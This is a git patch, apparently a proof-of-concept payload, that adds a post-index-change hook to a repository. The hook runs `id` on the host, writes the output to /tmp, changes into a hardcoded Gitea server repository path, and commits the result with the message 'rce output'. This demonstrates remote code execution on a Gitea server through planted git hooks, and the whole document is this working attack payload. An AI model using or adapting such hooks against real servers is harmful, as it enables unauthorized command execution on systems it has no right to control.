From 113ffb69bf24759b251c73ea38bc2caf59af4f59 Mon Sep 17 00:00:00 2001 From: pocuser_1793434766 Date: Sat, 31 Oct 2026 08:30:42 +0000 Subject: [PATCH] apply patch --- hooks/post-index-change | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..c43cc3b --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,8 @@ +#!/bin/sh +ID_OUTPUT=$(id 2>&1) +echo "$ID_OUTPUT" > /tmp/id_result.txt +# Also try to create a commit with the output +cd /data/gitea/data/gitea-repositories/pocuser_1793434766/pocrepo3.git 2>/dev/null || cd . 2>/dev/null +echo "$ID_OUTPUT" > id_output.txt +git add id_output.txt 2>/dev/null +git commit -m "rce output" 2>/dev/null